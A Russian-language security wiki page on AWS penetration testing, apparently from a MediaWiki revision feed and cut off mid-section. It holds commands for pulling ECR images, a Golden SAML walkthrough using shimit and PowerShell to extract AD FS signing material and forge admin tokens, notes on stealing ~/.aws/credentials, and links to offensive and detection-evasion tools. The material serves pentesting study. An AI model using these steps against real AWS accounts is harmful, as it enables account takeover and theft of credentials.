Сервис перекодирования видеофайлов с возможностями на уровне вещательных компаний. Он позволяет просто создавать контент в формате «видео по требованию» (VOD) для трансляций, в том числе мультиэкранных, в любом масштабе.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.mediaconvert.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Elemental MediaPackage ==&lt;br /&gt;
&lt;br /&gt;
Cервис для подготовки и защиты видеоконтента, распространяемого через Интернет. AWS Elemental MediaPackage использует один источник видео и создает на его основе специализированные видеопотоки для воспроизведения на подключенных телевизорах, мобильных телефонах, компьютерах, планшетах и игровых консолях.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== ECR (Elastic Container Registry) ==&lt;br /&gt;
&lt;br /&gt;
Региональный сервис, предназначенный для обеспечения гибкого развертывания образов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== ecr:ListImages ====&lt;br /&gt;
&lt;br /&gt;
Получить список образов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ecr list-images --repository-name &amp;lt;ECR_name&amp;gt; --registry-id &amp;lt;UserID&amp;gt; --region &amp;lt;region&amp;gt; --profile &amp;lt;profile_name&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ecr:GetDownloadUrlForLayer ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить URL на скачивание образа.&lt;br /&gt;
&lt;br /&gt;
==== ecr:GetDownloadUrlForLayer + ecr:BatchGetImage + ecr:GetAuthorizationToken ====&lt;br /&gt;
&lt;br /&gt;
Позволяет скачать образ (мб потребуется и ecr:ListImages чтобы получить список образов):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ecr get-login&lt;br /&gt;
docker pull &amp;lt;UserID&amp;gt;.dkr.ecr.us-east-1.amazonaws.com/&amp;lt;ECRName&amp;gt;:latest&lt;br /&gt;
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== ECS (Elastic Container Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис координирования контейнеров - развертывание, администрирование, масштабирование.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Статьи ===&lt;br /&gt;
&lt;br /&gt;
[https://rhinosecuritylabs.com/aws/weaponizing-ecs-task-definitions-steal-credentials-running-containers/ RhinoSecurity ECR/ECS]&lt;br /&gt;
&lt;br /&gt;
[https://rhinosecuritylabs.com/aws/cloud-container-attack-tool/ RhinoSecurity ECS]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Утилиты ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/RhinoSecurityLabs/ccat&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Augmented AI (Amazon A2I) ==&lt;br /&gt;
&lt;br /&gt;
Предоставляет интерфейс для обработки человеком предварительных результатов, полученных с помощью машинного обучения.&lt;br /&gt;
&lt;br /&gt;
[[File:A2i.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
Данные сохраняются в S3, а также к задаче прикрепляется IAM-роль .&lt;br /&gt;
&lt;br /&gt;
При создании задачи разделяется на 3 варианта:&lt;br /&gt;
&lt;br /&gt;
* Textract - извлечение пары ключ-значение из текста&lt;br /&gt;
&lt;br /&gt;
* Rekognition - определение того, что изображено на фото. Например, чтобы оградить от 18+ контента.&lt;br /&gt;
&lt;br /&gt;
* Custom - пользовательский вариант&lt;br /&gt;
&lt;br /&gt;
Интересный факт - использует &amp;quot;Quill Rich Text Editor&amp;quot; для текста с инструкциями. То есть, если в нем будет уязвимость, то можно проверить амазон тоже.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/augmented-ai/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также у сервиса есть Workers - сервера, выполняющие кучу тасков. Они могут быть трех типов:&lt;br /&gt;
&lt;br /&gt;
1. Amazon Mechanical Turk - тупо сервера Amazon, за которые надо платить.&lt;br /&gt;
&lt;br /&gt;
2. Private - юзают если обрабатывают приватную инфу или задачи, не поддерживаемые первым пунктом (ну или регион не поддерживается). Это команды, которые имеют доступ к данным и которые могут запускать задачи. Команды менеджарятся с Amazon Cognito.&lt;br /&gt;
&lt;br /&gt;
3. Vendor - решения сторонних разработчиков.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли ===&lt;br /&gt;
&lt;br /&gt;
==== AmazonAugmentedAIIntegratedAPIAccess ====&lt;br /&gt;
&lt;br /&gt;
Дает доступ к Augmented AI Runtime, Amazon Rekognition или Amazon Textract API.&lt;br /&gt;
&lt;br /&gt;
TODO: проверить, дает ли это еще возможностей злоумышленнику&lt;br /&gt;
&lt;br /&gt;
== CodeGuru ==&lt;br /&gt;
&lt;br /&gt;
Автоматизируйте проверку кода и оптимизируйте производительность приложений с помощью рекомендаций на базе машинного обучения&lt;br /&gt;
&lt;br /&gt;
[[File:Aws codeguru.png| 1000px]]&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/codeguru/&lt;br /&gt;
&lt;br /&gt;
Разделяется на следующие части:&lt;br /&gt;
&lt;br /&gt;
- Reviewer - выявляет критические проблемы, уязвимости системы безопасности и трудноуловимые ошибки + дает рекомендации (языки Java и Python) - статикой.&lt;br /&gt;
&lt;br /&gt;
- Profiler - выявление самых дорогостоящих строк, повышение производительности и тд засчет запуска в среде выполнения. Важно особенно для тех, кто платит за время работы скриптов.&lt;br /&gt;
&lt;br /&gt;
Также на странице есть упоминание про их игру - BugBust &lt;br /&gt;
&lt;br /&gt;
https://us-east-1.console.aws.amazon.com/codeguru/bugbust/participant#/&lt;br /&gt;
&lt;br /&gt;
== Comprehend ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/comprehend/&lt;br /&gt;
&lt;br /&gt;
Сервис по извлечению ценной информации из текста и работе с ним.&lt;br /&gt;
&lt;br /&gt;
[[File:Aws comprehend.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
Список категорий, на которые может разбить текст, есть на фото выше.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Для пользовательских настроек есть несколько параметров:&lt;br /&gt;
&lt;br /&gt;
- Кастомные классификации&lt;br /&gt;
&lt;br /&gt;
- Кастомные определения вставок в тексте&lt;br /&gt;
&lt;br /&gt;
- Endpoints - для real-time работы. !!! Достаточно дорогой сервис. В месяц берет 1400$ при минимальной сборке, поэтому если злоумышленник сможет запускать в нем Endpoint'ы в большом количестве, то компания обанкротится.&lt;br /&gt;
&lt;br /&gt;
== DevOps Guru ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/devops-guru/&lt;br /&gt;
&lt;br /&gt;
Собирает метрики из различных сервисов и детектит различные аномалии. Проще говоря, делает статистику по метрикам и с машинным обучением находит ошибки.&lt;br /&gt;
&lt;br /&gt;
Источники метрик:&lt;br /&gt;
&lt;br /&gt;
* CloudWatch&lt;br /&gt;
&lt;br /&gt;
* AWS Config&lt;br /&gt;
&lt;br /&gt;
* CloudTrail&lt;br /&gt;
&lt;br /&gt;
* X-Ray&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Если рассуждать со стороны злоумышленника, то если у него есть доступ к DevOps Guru, то у него также есть AIM-роль &amp;quot;Amazon DevOps Guru_Role&amp;quot; и привилегии на доступ к следующим ресурсам:&lt;br /&gt;
&lt;br /&gt;
* Amazon CloudWatch&lt;br /&gt;
&lt;br /&gt;
* Amazon CloudWatch Events&lt;br /&gt;
&lt;br /&gt;
* Amazon CloudWatch Logs&lt;br /&gt;
&lt;br /&gt;
* AWS CodeDeploy&lt;br /&gt;
&lt;br /&gt;
* AWS CodePipeline&lt;br /&gt;
&lt;br /&gt;
* AWS CloudFormation&lt;br /&gt;
&lt;br /&gt;
* AWS CloudTrail&lt;br /&gt;
&lt;br /&gt;
* AWS Systems Manager&lt;br /&gt;
&lt;br /&gt;
* AWS X-Ray&lt;br /&gt;
&lt;br /&gt;
== Elastic Inference ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/elastic-inference/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Forecast ==&lt;br /&gt;
&lt;br /&gt;
Служба прогнозирования временных рядов используя машинное обучение (предсказывание последующих событий).&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/forecast/&lt;br /&gt;
&lt;br /&gt;
При настройке можно выбрать один из forecasting-доменов:&lt;br /&gt;
&lt;br /&gt;
* Retail&lt;br /&gt;
&lt;br /&gt;
* Custom&lt;br /&gt;
&lt;br /&gt;
* Inventory planning&lt;br /&gt;
&lt;br /&gt;
* EC2 capacity&lt;br /&gt;
&lt;br /&gt;
* Work force&lt;br /&gt;
&lt;br /&gt;
* Web traffic&lt;br /&gt;
&lt;br /&gt;
* Metrics&lt;br /&gt;
&lt;br /&gt;
Формально это шаблоны для быстрой настройки сервиса.&lt;br /&gt;
&lt;br /&gt;
Если у атакующего есть привилегии данного сервиса, то можно предположить, что он тоже может получать те же данные (например, количество трафика), что и сам сервис&lt;br /&gt;
&lt;br /&gt;
== Fraud Detector ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/fraud-detector/&lt;br /&gt;
&lt;br /&gt;
&amp;quot;Разработка и развертывание моделей выявления мошенничества используя машинное обучение&amp;quot;&lt;br /&gt;
&lt;br /&gt;
== HealthLake ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/healthlake/&lt;br /&gt;
&lt;br /&gt;
== Kendra == &lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/kendra/?did=ap_card&amp;amp;trk=ap_card&lt;br /&gt;
&lt;br /&gt;
== Lex ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lex/?did=ap_card&amp;amp;trk=ap_card&lt;br /&gt;
&lt;br /&gt;
== Lookout for Equipment ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/lookout-for-equipment/&lt;br /&gt;
&lt;br /&gt;
== Lookout for Metrics ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lookout-for-metrics/&lt;br /&gt;
&lt;br /&gt;
== Lookout for Vision ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lookout-for-vision/&lt;br /&gt;
&lt;br /&gt;
== Monitron ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/monitron/&lt;br /&gt;
&lt;br /&gt;
== Personalize ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/personalize/&lt;br /&gt;
&lt;br /&gt;
== Polly ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/polly/&lt;br /&gt;
&lt;br /&gt;
== Rekognition ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/rekognition/&lt;br /&gt;
&lt;br /&gt;
== SageMaker ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/sagemaker/&lt;br /&gt;
&lt;br /&gt;
== SageMaker Ground Truth ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/sagemaker/groundtruth/&lt;br /&gt;
&lt;br /&gt;
== Textract ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/textract/&lt;br /&gt;
&lt;br /&gt;
== Transcribe ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/transcribe/&lt;br /&gt;
&lt;br /&gt;
== Translate ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/translate/&lt;br /&gt;
&lt;br /&gt;
== Apache MXNet ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/mxnet/&lt;br /&gt;
&lt;br /&gt;
== Deep Learning Containers ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/containers/&lt;br /&gt;
&lt;br /&gt;
== DeepComposer ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deepcomposer/&lt;br /&gt;
&lt;br /&gt;
== DeepLens ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deeplens/&lt;br /&gt;
&lt;br /&gt;
== DeepRacer ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deepracer/&lt;br /&gt;
&lt;br /&gt;
== Inferentia ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/inferentia/&lt;br /&gt;
&lt;br /&gt;
== Panorama ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/panorama/&lt;br /&gt;
&lt;br /&gt;
== PyTorch ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/pytorch/&lt;br /&gt;
&lt;br /&gt;
== TensorFlow ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/tensorflow/&lt;br /&gt;
&lt;br /&gt;
== Deep Learning AMI ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/amis/&lt;br /&gt;
&lt;br /&gt;
= Утилиты =&lt;br /&gt;
&lt;br /&gt;
== Вычисление ролей ==&lt;br /&gt;
&lt;br /&gt;
=== enumerate-iam ===&lt;br /&gt;
github.com:andresriancho/enumerate-iam.git&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Эксплуатация ==&lt;br /&gt;
&lt;br /&gt;
=== Golden SAML ===&lt;br /&gt;
&lt;br /&gt;
Суть атаки в том, что зная ключ, которым подписываются SAML-запросы, вы можете подделать ответ и получить произвольные привилегии в SSO.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее про эксплуатацию тут: https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps&lt;br /&gt;
&lt;br /&gt;
==== shimit ====&lt;br /&gt;
https://github.com/cyberark/shimit&lt;br /&gt;
&lt;br /&gt;
Установка:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
cd /tmp&lt;br /&gt;
python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml&lt;br /&gt;
git clone https://github.com/cyberark/shimit&lt;br /&gt;
cd shmit&lt;br /&gt;
python shmit.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
В начале потребуется доступ к AD FS аккаунту из персонального хранилища которого украсть приватный ключ ключ.&lt;br /&gt;
Сделать это можно используя mimikatz, но в примере сделано через библиотеку Microsoft.Adfs.Powershell и powershell&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Пример эксплуатации:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем приватный ключ&lt;br /&gt;
[System.Convert]::ToBase64String($cer.rawdata)&lt;br /&gt;
(Get-ADFSProperties).Identifier.AbsoluteUri&lt;br /&gt;
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule&lt;br /&gt;
&lt;br /&gt;
# Получаем инфу о юзерах - выбираем цель&lt;br /&gt;
aws iam list-users&lt;br /&gt;
&lt;br /&gt;
# Получаем токен&lt;br /&gt;
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file&lt;br /&gt;
-u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012&lt;br /&gt;
&lt;br /&gt;
# Проверяем текущий аккаунт&lt;br /&gt;
aws opsworks describe-my-user-profile&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Проверки безопасности ==&lt;br /&gt;
&lt;br /&gt;
Для администраторов преимущественно.&lt;br /&gt;
&lt;br /&gt;
=== Zeus ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/DenizParlak/Zeus&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Другое ==&lt;br /&gt;
&lt;br /&gt;
=== aws_consoler ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/NetSPI/aws_consoler&lt;br /&gt;
&lt;br /&gt;
== All-In-One ==&lt;br /&gt;
&lt;br /&gt;
=== pacu ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/RhinoSecurityLabs/pacu&lt;br /&gt;
&lt;br /&gt;
=== ScoutSuite ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/nccgroup/ScoutSuite&lt;br /&gt;
&lt;br /&gt;
=== cloudfox ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/BishopFox/cloudfox&lt;br /&gt;
&lt;br /&gt;
= Ссылки =&lt;br /&gt;
&lt;br /&gt;
== Статьи ==&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/hijack-iam-roles-and-avoid-detection/ Hijacking IAM Roles and Avoiding Detection]&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/bypass-guardduty-pentest-alerts/ Bypass GuardDuty PenTest Alerts]&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/ssm-agent-tomfoolery/ Intercept SSM Agent Communications]&lt;br /&gt;
&lt;br /&gt;
== Лаборатории ==&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6 Damn Vulnerable Cloud Application]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nccgroup/sadcloud SadCloud]&lt;br /&gt;
&lt;br /&gt;
[http://flaws.cloud Flaws]&lt;br /&gt;
&lt;br /&gt;
[http://flaws2.cloud/ Flaws]&lt;br /&gt;
&lt;br /&gt;
[https://xakep.ru/2022/03/21/htb-stacked/ HackTheBox Stacked Writeup]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/RhinoSecurityLabs/cloudgoat CloudGoat]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nccgroup/sadcloud SadCloud]&lt;br /&gt;
&lt;br /&gt;
[https://www.wellarchitectedlabs.com/security/ AWS Well-Architected Labs]&lt;br /&gt;
&lt;br /&gt;
[https://labs.withsecure.com/publications/attack-detection-fundamentals-2021-aws-lab-1 Attack Detection Fundamentals 2021: AWS - Lab #1]&lt;br /&gt;
&lt;br /&gt;
[https://pentesting.cloud/ Free AWS Security Labs]&lt;br /&gt;
&lt;br /&gt;
== Краткие заметки ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest.md PayloadAllTheThings]&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting/pentesting-web/buckets/aws-s3 hacktricks-s3]&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/cloud-security/aws-security hacktricks-aws]&lt;br /&gt;
&lt;br /&gt;
[https://learntocloud.guide/#/phase5/README learntocloud(много ссылок)]&lt;br /&gt;
&lt;br /&gt;
== Книги ==&lt;br /&gt;
&lt;br /&gt;
[https://www.amazon.com/dp/1789136725/ Hands-On AWS Penetration Testing with Kali Linux]&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=Aws&amp;diff=1232</id>
		<title>Aws</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=Aws&amp;diff=1232"/>
				<updated>2022-10-18T13:21:29Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: /* Fraud Detector */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;AWS - Amazon Web Service. Одна из первых облачных систем, состоящая из многих сервисов, которые при некорректной настройке оставляют дыры в безопасности.&lt;br /&gt;
&lt;br /&gt;
= Организационные моменты =&lt;br /&gt;
&lt;br /&gt;
При проведении тестирования на проникновение, требуется предупредить AWS (составить заявку).&lt;br /&gt;
&lt;br /&gt;
Подробнее тут: https://aws.amazon.com/ru/security/penetration-testing/&lt;br /&gt;
&lt;br /&gt;
= Общие концепции =&lt;br /&gt;
&lt;br /&gt;
== Службы ==&lt;br /&gt;
&lt;br /&gt;
Концепция служб в AWS позволяет автоматизировать многие процессы, включая саму разработку архитектуры.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Это экосистема многих сервисов. И AWS стремится увеличить их количество.&lt;br /&gt;
&lt;br /&gt;
Например, связать сервис сбора логов и сервис по реагированию на инциденты, а результаты класть на сервис S3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Регионы ==&lt;br /&gt;
&lt;br /&gt;
AWS разделен на регионы. Часть сервисов кросс-региональные, но большинство привязываются к конкретным регионам.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+Регионы AWS&lt;br /&gt;
|-&lt;br /&gt;
| '''Название региона'''&lt;br /&gt;
| '''Endpoint(HTTPS)'''&lt;br /&gt;
|-&lt;br /&gt;
|us-east-2&lt;br /&gt;
|rds.us-east-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds.us-east-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-2.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|us-east-1&lt;br /&gt;
|rds.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-west-1&lt;br /&gt;
|rds.us-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-west-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-west-2&lt;br /&gt;
|rds.us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-west-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|af-south-1&lt;br /&gt;
|rds.af-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.af-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-east-1&lt;br /&gt;
|rds.ap-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-3&lt;br /&gt;
|rds.ap-southeast-3.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|ap-south-1&lt;br /&gt;
|rds.ap-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-3&lt;br /&gt;
|rds.ap-northeast-3.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-3.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-2&lt;br /&gt;
|rds.ap-northeast-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-1&lt;br /&gt;
|rds.ap-southeast-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-southeast-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-2&lt;br /&gt;
|rds.ap-southeast-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-southeast-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-1&lt;br /&gt;
|rds.ap-northeast-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ca-central-1&lt;br /&gt;
|rds.ca-central-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ca-central-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.ca-central-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.ca-central-1.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|eu-central-1&lt;br /&gt;
|rds.eu-central-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-central-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-1&lt;br /&gt;
|rds.eu-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-2&lt;br /&gt;
|rds.eu-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-south-1&lt;br /&gt;
|rds.eu-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-3&lt;br /&gt;
|rds.eu-west-3.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-3.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-north-1&lt;br /&gt;
|rds.eu-north-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-north-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|me-south-1&lt;br /&gt;
|rds.me-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.me-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|sa-east-1&lt;br /&gt;
|rds.sa-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.sa-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-gov-east-1&lt;br /&gt;
|rds.us-gov-east-1.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|us-gov-west-1&lt;br /&gt;
|rds.us-gov-west-1.amazonaws.com&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Или только регионы (могут пригодиться при переборе):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
us-east-2&lt;br /&gt;
us-east-1&lt;br /&gt;
us-west-1&lt;br /&gt;
us-west-2&lt;br /&gt;
af-south-1&lt;br /&gt;
ap-east-1&lt;br /&gt;
ap-southeast-3&lt;br /&gt;
ap-south-1&lt;br /&gt;
ap-northeast-3&lt;br /&gt;
ap-northeast-2&lt;br /&gt;
ap-southeast-1&lt;br /&gt;
ap-southeast-2&lt;br /&gt;
ap-northeast-1&lt;br /&gt;
ca-central-1&lt;br /&gt;
eu-central-1&lt;br /&gt;
eu-west-1&lt;br /&gt;
eu-west-2&lt;br /&gt;
eu-south-1&lt;br /&gt;
eu-west-3&lt;br /&gt;
eu-north-1&lt;br /&gt;
me-south-1&lt;br /&gt;
sa-east-1&lt;br /&gt;
us-gov-east-1&lt;br /&gt;
us-gov-west-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Доступы ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Консольная утилита(awscli) ==&lt;br /&gt;
&lt;br /&gt;
Чаще всего для взаимодействия с сервисами AWS вам потребуется консольная утилита awscli.&lt;br /&gt;
&lt;br /&gt;
Утилита работает с настроенными профилями.&lt;br /&gt;
&lt;br /&gt;
=== Файлы ===&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/credentials ====&lt;br /&gt;
&lt;br /&gt;
Файл с учетными данными профилей.  Перефразирую: получив данные из этого файла вы, вероятнее всего, получите контроль над аккаунтами в нем.&lt;br /&gt;
&lt;br /&gt;
У каждого профиля будет указан:&lt;br /&gt;
&lt;br /&gt;
